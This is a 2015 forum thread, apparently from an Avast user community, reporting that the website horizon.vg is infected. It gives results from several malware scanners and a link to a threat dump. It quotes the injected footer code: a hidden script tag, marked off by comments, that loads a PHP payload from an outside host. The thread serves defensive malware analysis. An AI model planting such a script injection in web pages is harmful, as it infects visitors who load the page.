Author Topic: Is this site being detected?  (Read 1384 times)

0 Members and 1 Guest are viewing this topic.

Online polonus

  • Avast Überevangelist
  • Probably Bot
  • *****
  • Posts: 33897
  • malware fighter
Is this site being detected?
« on: January 27, 2015, 10:45:31 PM »
See: http://killmalware.com/horizon.vg/
See: https://www.virustotal.com/nl/url/61685bbb13b2b614f9ccae8707234b66a5bba338034308c63e80ab98acad637d/analysis/#additional-info
Flagged here: http://quttera.com/detailed_report/horizon.vg
index.html
Severity:   Malicious
Reason:   Detected encoded JavaScript code commonly used to hide malicious behaviour.
Details:   Malicious obfuscated JavaScript threat
Offset:   1664
Threat dump:   https://www.uploady.com/#!/download/Xs5adH4ned0/xSqSGaAh8HYgIsnF
Threat dump MD5:   672B19A5B7E9D883AA9BD3953234E5BB
File size[byte]:   4528
File type:   ASCII
Page/File MD5:   A655D0CE302695C8D9AC6FD72C0F03C8
Scan duration[sec]:   0.006000

Website Malware   mwjs-include-suspicious?v14   htxp://horizon.vg
Website Malware   mwjs-include-suspicious?v14   http://horizon.vg/404javascript.js
Website Malware   MW:BLK:2   http://horizon.vg
Known javascript malware. Details: http://labs.sucuri.net/db/malware/mwjs-include-suspicious?v14
      <td><div id="footer">Copyright 2009 © Horizon Capital Management S.A. All rights reserved.</div><!--db23fd--><script type="text/javascript" src="htxp://sklogistiek.nl/dy3k4rmp.php?id=4406613"></script><!--/db23fd-->

See: http://www.yandex.com/infected?url=horizon.vg&l10n=en

polonus
Cybersecurity is more of an attitude than anything else. Avast Evangelists.

Use NoScript, a limited user account and a virtual machine and be safe(r)!

Offline Pondus

  • Probably Bot
  • ****
  • Posts: 37527
  • Not a avast user

Online polonus

  • Avast Überevangelist
  • Probably Bot
  • *****
  • Posts: 33897
  • malware fighter
Cybersecurity is more of an attitude than anything else. Avast Evangelists.

Use NoScript, a limited user account and a virtual machine and be safe(r)!